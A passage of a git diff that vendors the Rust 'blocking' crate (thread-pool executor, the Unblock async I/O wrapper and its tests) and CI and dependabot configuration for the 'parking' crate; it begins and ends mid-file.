"https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::any::Any; +use std::collections::VecDeque; +use std::fmt; +use std::io::{self, Read, Seek, SeekFrom, Write}; +use std::num::NonZeroUsize; +use std::panic; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Condvar, Mutex, MutexGuard, PoisonError}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +#[cfg(not(target_family = "wasm"))] +use std::env; + +use async_channel::{bounded, Receiver}; +use async_task::Runnable; +use futures_io::{AsyncRead, AsyncSeek, AsyncWrite}; +use futures_lite::{ + future::{self, Future}, + ready, + stream::Stream, +}; +use piper::{pipe, Reader, Writer}; + +#[doc(no_inline)] +pub use async_task::Task; + +/// Default value for max threads that Executor can grow to +#[cfg(not(target_family = "wasm"))] +const DEFAULT_MAX_THREADS: NonZeroUsize = { + if let Some(size) = NonZeroUsize::new(500) { + size + } else { + panic!("DEFAULT_MAX_THREADS is non-zero"); + } +}; + +/// Minimum value for max threads config +#[cfg(not(target_family = "wasm"))] +const MIN_MAX_THREADS: usize = 1; + +/// Maximum value for max threads config +#[cfg(not(target_family = "wasm"))] +const MAX_MAX_THREADS: usize = 10000; + +/// Env variable that allows to override default value for max threads. +#[cfg(not(target_family = "wasm"))] +const MAX_THREADS_ENV: &str = "BLOCKING_MAX_THREADS"; + +/// Set the maximum number of threads used by the backing thread pool. +/// +/// # Example +/// +/// ```no_run +/// use blocking::unblock; +/// use std::fs::{read_dir, File}; +/// use std::io::prelude::*; +/// # use std::num::NonZeroUsize; +/// +/// blocking::set_max_blocking_threads(NonZeroUsize::new(100).unwrap()); +/// +/// # fn test() -> std::io::Result<()> { +/// let mut files = Vec::new(); +/// for entry in read_dir("/path/to/large/directory").unwrap() { +/// files.push(unblock(move || -> std::io::Result { +/// let mut contents = String::new(); +/// let mut file = File::open(entry?.path())?; +/// file.read_to_string(&mut contents)?; +/// Ok(contents) +/// })); +/// } +/// # Ok(()) +/// # } +/// ``` +pub fn set_max_blocking_threads(threads: NonZeroUsize) { + let executor = Executor::get(); + let mut inner = executor + .inner + .lock() + .unwrap_or_else(PoisonError::into_inner); + let old_limit = inner.thread_limit; + inner.thread_limit = Some(threads); + if let Some(old_limit) = old_limit { + // If the limit has decreased, wake up all threads to terminate those over + // the new limit. + if old_limit > threads { + executor.cvar.notify_all(); + } + } +} + +/// The blocking executor. +struct Executor { + /// Inner state of the executor. + inner: Mutex, + + /// Used to put idle threads to sleep and wake them up when new work comes in. + cvar: Condvar, +} + +/// Inner state of the blocking executor. +struct Inner { + /// Number of idle threads in the pool. + /// + /// Idle threads are sleeping, waiting to get a task to run. + idle_count: usize, + + /// Total number of threads in the pool. + /// + /// This is the number of idle threads + the number of active threads. + thread_count: usize, + + /// The queue of blocking tasks. + queue: VecDeque, + + /// Maximum number of threads in the pool + thread_limit: Option, +} + +impl Executor { + #[cfg(not(target_family = "wasm"))] + fn max_threads() -> NonZeroUsize { + match env::var(MAX_THREADS_ENV) { + Ok(v) => v + .parse::() + .ok() + .and_then(|v| NonZeroUsize::new(v.clamp(MIN_MAX_THREADS, MAX_MAX_THREADS))) + .unwrap_or(DEFAULT_MAX_THREADS), + Err(_) => DEFAULT_MAX_THREADS, + } + } + + #[cfg(target_family = "wasm")] + fn max_threads() -> NonZeroUsize { + NonZeroUsize::new(1).unwrap() + } + + /// Get a reference to the global executor. + #[inline] + fn get() -> &'static Self { + #[cfg(not(target_family = "wasm"))] + { + static EXECUTOR: Executor = Executor { + inner: Mutex::new(Inner { + idle_count: 0, + thread_count: 0, + queue: VecDeque::new(), + thread_limit: None, + }), + cvar: Condvar::new(), + }; + + &EXECUTOR + } + + #[cfg(target_family = "wasm")] + panic!("cannot spawn a blocking task on WASM") + } + + /// Spawns a future onto this executor. + /// + /// Returns a [`Task`] handle for the spawned task. + fn spawn(future: impl Future + Send + 'static) -> Task { + let (runnable, task) = async_task::Builder::new().propagate_panic(true).spawn( + move |()| future, + |r| { + // Initialize the executor if we haven't already. + let executor = Self::get(); + + // Schedule the task on our executor. + executor.schedule(r) + }, + ); + runnable.schedule(); + task + } + + /// Runs the main loop on the current thread. + /// + /// This function runs blocking tasks until it becomes idle and times out. + fn main_loop(&'static self) { + #[cfg(feature = "tracing")] + let _span = tracing::trace_span!("blocking::main_loop").entered(); + + let mut inner = self.inner.lock().unwrap_or_else(PoisonError::into_inner); + loop { + // This thread is not idle anymore because it's going to run tasks. + inner.idle_count -= 1; + + // Run tasks in the queue. + while let Some(runnable) = inner.queue.pop_front() { + // We have found a task - grow the pool if needed. + self.grow_pool(inner); + + // Run the task. + panic::catch_unwind(|| runnable.run()).ok(); + + // Re-lock the inner state and continue. + inner = self.inner.lock().unwrap_or_else(PoisonError::into_inner); + } + + // This thread is now becoming idle. + inner.idle_count += 1; + + // Put the thread to sleep until another task is scheduled. + let timeout = Duration::from_millis(500); + #[cfg(feature = "tracing")] + tracing::trace!(?timeout, "going to sleep"); + let (lock, res) = self.cvar.wait_timeout(inner, timeout).unwrap(); + inner = lock; + + // If there are too many threads active in the pool, stop this thread. + if (Some(inner.thread_count) > inner.thread_limit.map(NonZeroUsize::get)) + // If there are no tasks after a while, stop this thread. + && (res.timed_out() && inner.queue.is_empty()) + { + inner.idle_count -= 1; + inner.thread_count -= 1; + break; + } + + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + } + + #[cfg(feature = "tracing")] + tracing::trace!("shutting down due to lack of tasks"); + } + + /// Schedules a runnable task for execution. + fn schedule(&'static self, runnable: Runnable) { + let mut inner = self.inner.lock().unwrap_or_else(PoisonError::into_inner); + inner.queue.push_back(runnable); + + // Notify a sleeping thread and spawn more threads if needed. + self.cvar.notify_one(); + self.grow_pool(inner); + } + + /// Spawns more blocking threads if the pool is overloaded with work. + fn grow_pool(&'static self, mut inner: MutexGuard<'static, Inner>) { + #[cfg(feature = "tracing")] + let _span = tracing::trace_span!( + "grow_pool", + queue_len = inner.queue.len(), + idle_count = inner.idle_count, + thread_count = inner.thread_count, + ) + .entered(); + + let thread_limit = inner + .thread_limit + .get_or_insert_with(Self::max_threads) + .get(); + + // If runnable tasks greatly outnumber idle threads and there aren't too many threads + // already, then be aggressive: wake all idle threads and spawn one more thread. + while inner.queue.len() > inner.idle_count * 5 && inner.thread_count < thread_limit { + #[cfg(feature = "tracing")] + tracing::trace!("spawning a new thread to handle blocking tasks"); + + // The new thread starts in idle state. + inner.idle_count += 1; + inner.thread_count += 1; + + // Notify all existing idle threads because we need to hurry up. + self.cvar.notify_all(); + + // Generate a new thread ID. + static ID: AtomicUsize = AtomicUsize::new(1); + let id = ID.fetch_add(1, Ordering::Relaxed); + + // Spawn the new thread. + if let Err(_e) = thread::Builder::new() + .name(format!("blocking-{id}")) + .spawn(move || self.main_loop()) + { + // We were unable to spawn the thread, so we need to undo the state changes. + #[cfg(feature = "tracing")] + tracing::error!("failed to spawn a blocking thread: {}", _e); + inner.idle_count -= 1; + inner.thread_count -= 1; + + // The current number of threads is likely to be the system's upper limit, so update + // thread_limit accordingly. + inner.thread_limit = { + let new_limit = inner.thread_count; + + // If the limit is about to be set to zero, set it to one instead so that if, + // in the future, we are able to spawn more threads, we will be able to do so. + Some(NonZeroUsize::new(new_limit).unwrap_or_else(|| { + #[cfg(feature = "tracing")] + tracing::warn!( + "attempted to lower thread_limit to zero; setting to one instead" + ); + NonZeroUsize::new(1).unwrap() + })) + }; + } + } + } +} + +/// Runs blocking code on a thread pool. +/// +/// # Examples +/// +/// Read the contents of a file: +/// +/// ```no_run +/// use blocking::unblock; +/// use std::fs; +/// +/// # futures_lite::future::block_on(async { +/// let contents = unblock(|| fs::read_to_string("file.txt")).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// Spawn a process: +/// +/// ```no_run +/// use blocking::unblock; +/// use std::process::Command; +/// +/// # futures_lite::future::block_on(async { +/// let out = unblock(|| Command::new("dir").output()).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub fn unblock(f: F) -> Task +where + F: FnOnce() -> T + Send + 'static, + T: Send + 'static, +{ + Executor::spawn(async move { f() }) +} + +/// Runs blocking I/O on a thread pool. +/// +/// Blocking I/O must be isolated from async code. This type moves blocking I/O operations onto a +/// special thread pool while exposing a familiar async interface. +/// +/// This type implements traits [`Stream`], [`AsyncRead`], [`AsyncWrite`], or [`AsyncSeek`] if the +/// inner type implements [`Iterator`], [`Read`], [`Write`], or [`Seek`], respectively. +/// +/// # Caveats +/// +/// [`Unblock`] is a low-level primitive, and as such it comes with some caveats. +/// +/// For higher-level primitives built on top of [`Unblock`], look into [`async-fs`] or +/// [`async-process`] (on Windows). +/// +/// [`async-fs`]: https://github.com/smol-rs/async-fs +/// [`async-process`]: https://github.com/smol-rs/async-process +/// +/// [`Unblock`] communicates with I/O operations on the thread pool through a pipe. That means an +/// async read/write operation simply receives/sends some bytes from/into the pipe. When in reading +/// mode, the thread pool reads bytes from the I/O handle and forwards them into the pipe until it +/// becomes full. When in writing mode, the thread pool reads bytes from the pipe and forwards them +/// into the I/O handle. +/// +/// Use [`Unblock::with_capacity()`] to configure the capacity of the pipe. +/// +/// ### Reading +/// +/// If you create an [`Unblock`]`<`[`Stdin`][`std::io::Stdin`]`>`, read some bytes from it, +/// and then drop it, a blocked read operation may keep hanging on the thread pool. The next +/// attempt to read from stdin will lose bytes read by the hanging operation. This is a difficult +/// problem to solve, so make sure you only use a single stdin handle for the duration of the +/// entire program. +/// +/// ### Writing +/// +/// If writing data through the [`AsyncWrite`] trait, make sure to flush before dropping the +/// [`Unblock`] handle or some buffered data might get lost. +/// +/// ### Seeking +/// +/// Because of buffering in the pipe, if [`Unblock`] wraps a [`File`][`std::fs::File`], a single +/// read operation may move the file cursor farther than is the span of the operation. In fact, +/// reading just keeps going in the background until the pipe gets full. Keep this mind when +/// using [`AsyncSeek`] with [relative][`SeekFrom::Current`] offsets. +/// +/// # Examples +/// +/// ``` +/// use blocking::Unblock; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let mut stdout = Unblock::new(std::io::stdout()); +/// stdout.write_all(b"Hello world!").await?; +/// stdout.flush().await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct Unblock { + state: State, + cap: Option, +} + +impl Unblock { + /// Wraps a blocking I/O handle into the async [`Unblock`] interface. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::Unblock; + /// + /// let stdin = Unblock::new(std::io::stdin()); + /// ``` + pub fn new(io: T) -> Unblock { + Unblock { + state: State::Idle(Some(Box::new(io))), + cap: None, + } + } + + /// Wraps a blocking I/O handle into the async [`Unblock`] interface with a custom buffer + /// capacity. + /// + /// When communicating with the inner [`Stream`]/[`Read`]/[`Write`] type from async code, data + /// transferred between blocking and async code goes through a buffer of limited capacity. This + /// constructor configures that capacity. + /// + /// The default capacity is: + /// + /// * For [`Iterator`] types: 8192 items. + /// * For [`Read`]/[`Write`] types: 8 MB. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::Unblock; + /// + /// let stdout = Unblock::with_capacity(64 * 1024, std::io::stdout()); + /// ``` + pub fn with_capacity(cap: usize, io: T) -> Unblock { + Unblock { + state: State::Idle(Some(Box::new(io))), + cap: Some(cap), + } + } + + /// Gets a mutable reference to the blocking I/O handle. + /// + /// This is an async method because the I/O handle might be on the thread pool and needs to + /// be moved onto the current thread before we can get a reference to it. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::{unblock, Unblock}; + /// use std::fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = unblock(|| File::create("file.txt")).await?; + /// let mut file = Unblock::new(file); + /// + /// let metadata = file.get_mut().await.metadata()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn get_mut(&mut self) -> &mut T { + // Wait for the running task to stop and ignore I/O errors if there are any. + future::poll_fn(|cx| self.poll_stop(cx)).await.ok(); + + // Assume idle state and get a reference to the inner value. + match &mut self.state { + State::Idle(t) => t.as_mut().expect("inner value was taken out"), + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + unreachable!("when stopped, the state machine must be in idle state"); + } + } + } + + /// Performs a blocking operation on the I/O handle. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::{unblock, Unblock}; + /// use std::fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = unblock(|| File::create("file.txt")).await?; + /// let mut file = Unblock::new(file); + /// + /// let metadata = file.with_mut(|f| f.metadata()).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn with_mut(&mut self, op: F) -> R + where + F: FnOnce(&mut T) -> R + Send + 'static, + R: Send + 'static, + T: Send + 'static, + { + // Wait for the running task to stop and ignore I/O errors if there are any. + future::poll_fn(|cx| self.poll_stop(cx)).await.ok(); + + // Assume idle state and take out the inner value. + let mut t = match &mut self.state { + State::Idle(t) => t.take().expect("inner value was taken out"), + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + unreachable!("when stopped, the state machine must be in idle state"); + } + }; + + let (sender, receiver) = bounded(1); + let task = Executor::spawn(async move { + sender.try_send(op(&mut t)).ok(); + t + }); + self.state = State::WithMut(task); + + receiver + .recv() + .await + .expect("`Unblock::with_mut()` operation has panicked") + } + + /// Extracts the inner blocking I/O handle. + /// + /// This is an async method because the I/O handle might be on the thread pool and needs to + /// be moved onto the current thread before we can extract it. + /// + /// # Examples + /// + /// ```no_run + /// use blocking::{unblock, Unblock}; + /// use futures_lite::prelude::*; + /// use std::fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = unblock(|| File::create("file.txt")).await?; + /// let file = Unblock::new(file); + /// + /// let file = file.into_inner().await; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_inner(self) -> T { + // There's a bug in rustdoc causing it to render `mut self` as `__arg0: Self`, so we just + // bind `self` to a local mutable variable. + let mut this = self; + + // Wait for the running task to stop and ignore I/O errors if there are any. + future::poll_fn(|cx| this.poll_stop(cx)).await.ok(); + + // Assume idle state and extract the inner value. + match &mut this.state { + State::Idle(t) => *t.take().expect("inner value was taken out"), + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + unreachable!("when stopped, the state machine must be in idle state"); + } + } + } + + /// Waits for the running task to stop. + /// + /// On success, the state machine is moved into the idle state. + fn poll_stop(&mut self, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.state { + State::Idle(_) => return Poll::Ready(Ok(())), + + State::WithMut(task) => { + // Poll the task to wait for it to finish. + let io = ready!(Pin::new(task).poll(cx)); + self.state = State::Idle(Some(io)); + } + + State::Streaming(any, task) => { + // Drop the receiver to close the channel. This stops the `send()` operation in + // the task, after which the task returns the iterator back. + any.take(); + + // Poll the task to retrieve the iterator. + let iter = ready!(Pin::new(task).poll(cx)); + self.state = State::Idle(Some(iter)); + } + + State::Reading(reader, task) => { + // Drop the reader to close the pipe. This stops copying inside the task, after + // which the task returns the I/O handle back. + reader.take(); + + // Poll the task to retrieve the I/O handle. + let (res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + + State::Writing(writer, task) => { + // Drop the writer to close the pipe. This stops copying inside the task, after + // which the task flushes the I/O handle and + writer.take(); + + // Poll the task to retrieve the I/O handle. + let (res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + + State::Seeking(task) => { + // Poll the task to wait for it to finish. + let (_, res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + } + } + } +} + +impl fmt::Debug for Unblock { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + struct Closed; + impl fmt::Debug for Closed { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("") + } + } + + struct Blocked; + impl fmt::Debug for Blocked { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("") + } + } + + match &self.state { + State::Idle(None) => f.debug_struct("Unblock").field("io", &Closed).finish(), + State::Idle(Some(io)) => { + let io: &T = io; + f.debug_struct("Unblock").field("io", io).finish() + } + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => f.debug_struct("Unblock").field("io", &Blocked).finish(), + } + } +} + +/// Current state of a blocking task. +enum State { + /// There is no blocking task. + /// + /// The inner value is readily available, unless it has already been extracted. The value is + /// extracted out by [`Unblock::into_inner()`], [`AsyncWrite::poll_close()`], or by awaiting + /// [`Unblock`]. + Idle(Option>), + + /// A [`Unblock::with_mut()`] closure was spawned and is still running. + WithMut(Task>), + + /// The inner value is an [`Iterator`] currently iterating in a task. + /// + /// The `dyn Any` value here is a `Pin::Item>>>`. + Streaming(Option>, Task>), + + /// The inner value is a [`Read`] currently reading in a task. + Reading(Option, Task<(io::Result<()>, Box)>), + + /// The inner value is a [`Write`] currently writing in a task. + Writing(Option, Task<(io::Result<()>, Box)>), + + /// The inner value is a [`Seek`] currently seeking in a task. + Seeking(Task<(SeekFrom, io::Result, Box)>), +} + +impl Stream for Unblock +where + T::Item: Send + 'static, +{ + type Item = T::Item; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.state { + // If not in idle or active streaming state, stop the running task. + State::WithMut(..) + | State::Streaming(None, _) + | State::Reading(..) + | State::Writing(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx)).ok(); + } + + // If idle, start a streaming task. + State::Idle(iter) => { + // Take the iterator out to run it on a blocking task. + let mut iter = iter.take().expect("inner iterator was taken out"); + + // This channel capacity seems to work well in practice. If it's too low, there + // will be too much synchronization between tasks. If too high, memory + // consumption increases. + let (sender, receiver) = bounded(self.cap.unwrap_or(8 * 1024)); // 8192 items + + // Spawn a blocking task that runs the iterator and returns it when done. + let task = Executor::spawn(async move { + for item in &mut iter { + if sender.send(item).await.is_err() { + break; + } + } + iter + }); + + // Move into the busy state and poll again. + self.state = State::Streaming(Some(Box::new(Box::pin(receiver))), task); + } + + // If streaming, receive an item. + State::Streaming(Some(any), task) => { + let receiver = any.downcast_mut::>>>().unwrap(); + + // Poll the channel. + let opt = ready!(receiver.as_mut().poll_next(cx)); + + // If the channel is closed, retrieve the iterator back from the blocking task. + // This is not really a required step, but it's cleaner to drop the iterator on + // the same thread that created it. + if opt.is_none() { + // Poll the task to retrieve the iterator. + let iter = ready!(Pin::new(task).poll(cx)); + self.state = State::Idle(Some(iter)); + } + + return Poll::Ready(opt); + } + } + } + } +} + +impl AsyncRead for Unblock { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + match &mut self.state { + // If not in idle or active reading state, stop the running task. + State::WithMut(..) + | State::Reading(None, _) + | State::Streaming(..) + | State::Writing(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + // If idle, start a reading task. + State::Idle(io) => { + // Take the I/O handle out to read it on a blocking task. + let mut io = io.take().expect("inner value was taken out"); + + // This pipe capacity seems to work well in practice. If it's too low, there + // will be too much synchronization between tasks. If too high, memory + // consumption increases. + let (reader, mut writer) = pipe(self.cap.unwrap_or(8 * 1024 * 1024)); // 8 MB + + // Spawn a blocking task that reads and returns the I/O handle when done. + let task = Executor::spawn(async move { + // Copy bytes from the I/O handle into the pipe until the pipe is closed or + // an error occurs. + loop { + match future::poll_fn(|cx| writer.poll_fill(cx, &mut io)).await { + Ok(0) => return (Ok(()), io), + Ok(_) => {} + Err(err) => return (Err(err), io), + } + } + }); + + // Move into the busy state and poll again. + self.state = State::Reading(Some(reader), task); + } + + // If reading, read bytes from the pipe. + State::Reading(Some(reader), task) => { + // Poll the pipe. + let n = ready!(reader.poll_drain(cx, buf))?; + + // If the pipe is closed, retrieve the I/O handle back from the blocking task. + // This is not really a required step, but it's cleaner to drop the handle on + // the same thread that created it. + if n == 0 { + // Poll the task to retrieve the I/O handle. + let (res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + res?; + } + + return Poll::Ready(Ok(n)); + } + } + } + } +} + +impl AsyncWrite for Unblock { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + match &mut self.state { + // If not in idle or active writing state, stop the running task. + State::WithMut(..) + | State::Writing(None, _) + | State::Streaming(..) + | State::Reading(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + // If idle, start the writing task. + State::Idle(io) => { + // Take the I/O handle out to write on a blocking task. + let mut io = io.take().expect("inner value was taken out"); + + // This pipe capacity seems to work well in practice. If it's too low, there will + // be too much synchronization between tasks. If too high, memory consumption + // increases. + let (mut reader, writer) = pipe(self.cap.unwrap_or(8 * 1024 * 1024)); // 8 MB + + // Spawn a blocking task that writes and returns the I/O handle when done. + let task = Executor::spawn(async move { + // Copy bytes from the pipe into the I/O handle until the pipe is closed or an + // error occurs. Flush the I/O handle at the end. + loop { + match future::poll_fn(|cx| reader.poll_drain(cx, &mut io)).await { + Ok(0) => return (io.flush(), io), + Ok(_) => {} + Err(err) => { + io.flush().ok(); + return (Err(err), io); + } + } + } + }); + + // Move into the busy state and poll again. + self.state = State::Writing(Some(writer), task); + } + + // If writing, write more bytes into the pipe. + State::Writing(Some(writer), _) => return writer.poll_fill(cx, buf), + } + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.state { + // If not in idle state, stop the running task. + State::WithMut(..) + | State::Streaming(..) + | State::Writing(..) + | State::Reading(..) + | State::Seeking(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + // Idle implies flushed. + State::Idle(_) => return Poll::Ready(Ok(())), + } + } + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // First, make sure the I/O handle is flushed. + ready!(Pin::new(&mut self).poll_flush(cx))?; + + // Then move into the idle state with no I/O handle, thus dropping it. + self.state = State::Idle(None); + Poll::Ready(Ok(())) + } +} + +impl AsyncSeek for Unblock { + fn poll_seek( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + pos: SeekFrom, + ) -> Poll> { + loop { + match &mut self.state { + // If not in idle state, stop the running task. + State::WithMut(..) + | State::Streaming(..) + | State::Reading(..) + | State::Writing(..) => { + // Wait for the running task to stop. + ready!(self.poll_stop(cx))?; + } + + State::Idle(io) => { + // Take the I/O handle out to seek on a blocking task. + let mut io = io.take().expect("inner value was taken out"); + + let task = Executor::spawn(async move { + let res = io.seek(pos); + (pos, res, io) + }); + self.state = State::Seeking(task); + } + + State::Seeking(task) => { + // Poll the task to wait for it to finish. + let (original_pos, res, io) = ready!(Pin::new(task).poll(cx)); + // Make sure to move into the idle state before reporting errors. + self.state = State::Idle(Some(io)); + let current = res?; + + // If the `pos` argument matches the original one, return the result. + if original_pos == pos { + return Poll::Ready(Ok(current)); + } + } + } + } + } +} + +#[cfg(all(test, not(target_family = "wasm")))] +mod tests { + use super::*; + + #[test] + fn test_max_threads() { + // properly set env var + env::set_var(MAX_THREADS_ENV, "100"); + assert_eq!(100, Executor::max_threads().get()); + + // passed value below minimum, so we set it to minimum + env::set_var(MAX_THREADS_ENV, "0"); + assert_eq!(1, Executor::max_threads().get()); + + // passed value above maximum, so we set to allowed maximum + env::set_var(MAX_THREADS_ENV, "50000"); + assert_eq!(10000, Executor::max_threads().get()); + + // no env var, use default + env::set_var(MAX_THREADS_ENV, ""); + assert_eq!(500, Executor::max_threads().get()); + + // not a number, use default + env::set_var(MAX_THREADS_ENV, "NOTINT"); + assert_eq!(500, Executor::max_threads().get()); + } +} diff --git a/lib/malio/blocking/tests/unblock.rs b/lib/malio/blocking/tests/unblock.rs new file mode 100644 index 0000000..2f8729a --- /dev/null +++ b/lib/malio/blocking/tests/unblock.rs @@ -0,0 +1,140 @@ +#![allow(clippy::needless_range_loop)] + +use std::io::{Cursor, SeekFrom}; +use std::panic::AssertUnwindSafe; +use std::sync::mpsc; +use std::thread; +use std::time::{Duration, Instant}; + +use blocking::{unblock, Unblock}; +use futures_lite::{future, pin, prelude::*}; + +#[test] +fn sleep() { + let dur = Duration::from_secs(1); + let start = Instant::now(); + + future::block_on(async { + let f = unblock(move || thread::sleep(dur)); + pin!(f); + assert!(future::poll_once(&mut f).await.is_none()); + f.await; + }); + + assert!(start.elapsed() >= dur); +} + +#[test] +fn chan() { + const N: i32 = if cfg!(miri) { 50 } else { 100_000 }; + + future::block_on(async { + let (s, r) = mpsc::sync_channel::(100); + let handle = thread::spawn(move || { + for i in 0..N { + s.send(i).unwrap(); + } + }); + + let mut r = Unblock::new(r.into_iter()); + for i in 0..N { + assert_eq!(r.next().await, Some(i)); + } + + handle.join().unwrap(); + assert!(r.next().await.is_none()); + }) +} + +#[test] +fn read() { + const N: usize = if cfg!(miri) { 20_000 } else { 20_000_000 }; + + future::block_on(async { + let mut v1 = vec![0u8; N]; + for i in 0..v1.len() { + v1[i] = i as u8; + } + let mut v1 = Unblock::new(Cursor::new(v1)); + + let mut v2 = vec![]; + v1.read_to_end(&mut v2).await.unwrap(); + + let v1 = v1.into_inner().await.into_inner(); + assert!(v1 == v2); + }) +} + +#[test] +fn write() { + const N: usize = if cfg!(miri) { 20_000 } else { 20_000_000 }; + + future::block_on(async { + let mut v1 = vec![0u8; N]; + for i in 0..v1.len() { + v1[i] = i as u8; + } + + let v2 = vec![]; + let mut v2 = Unblock::new(Cursor::new(v2)); + v2.write_all(&v1).await.unwrap(); + + let v2 = v2.into_inner().await.into_inner(); + assert!(v1 == v2); + }) +} + +#[test] +fn seek() { + future::block_on(async { + let len = 1_000; + let mut v = vec![0u8; len]; + for i in 0..len { + v[i] = i as u8; + } + let mut v = Unblock::new(Cursor::new(v)); + + assert_eq!(v.seek(SeekFrom::Current(7i64)).await.unwrap(), 7); + assert_eq!(v.seek(SeekFrom::Current(8i64)).await.unwrap(), 15); + + let mut byte = [0u8]; + v.read(&mut byte).await.unwrap(); + assert_eq!(byte[0], 15); + }) +} + +#[test] +fn panic() { + future::block_on(async { + let x = unblock(|| panic!("expected failure")); + let panic = x.catch_unwind().await.unwrap_err(); + + // Make sure it's our panic and not an unrelated one. + let msg = if let Some(msg) = panic.downcast_ref::<&'static str>() { + msg.to_string() + } else { + *panic.downcast::().unwrap() + }; + assert_eq!(msg, "expected failure"); + }); +} + +#[test] +fn panic_with_mut() { + future::block_on(async { + let mut io = Unblock::new(()); + let x = io.with_mut(|()| panic!("expected failure")); + let panic = AssertUnwindSafe(x).catch_unwind().await.unwrap_err(); + + // Make sure it's our panic and not an unrelated one. + let msg = if let Some(msg) = panic.downcast_ref::<&'static str>() { + msg.to_string() + } else { + *panic.downcast::().unwrap() + }; + assert_eq!( + msg, + "`Unblock::with_mut()` operation has panicked: RecvError" + ); + }); +} diff --git a/lib/malio/parking/.github/dependabot.yml b/lib/malio/parking/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/parking/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/parking/.github/workflows/ci.yml b/lib/malio/parking/.github/workflows/ci.yml new file mode 100644 index 0000000..9790a20 --- /dev/null +++ b/lib/malio/parking/.github/workflows/ci.yml @@ -0,0 +1,80 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + types: [opened, reopened, synchronize] + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - run: cargo test --test loom --features loom + env: + RUSTFLAGS: --cfg loom + LOOM_MAX_PREEMPTIONS: 2 + + msrv: + runs-on: ubuntu-latest + strategy: + matrix: + # When updating this, the reminder to update the minimum supported + # Rust version in Cargo.toml. + rust: ['1.51'] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: cargo build + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets diff --git a/lib/malio/parking/.github/workflows/release.yml b/lib/malio/parking/.github/workflows/release.yml new file mode 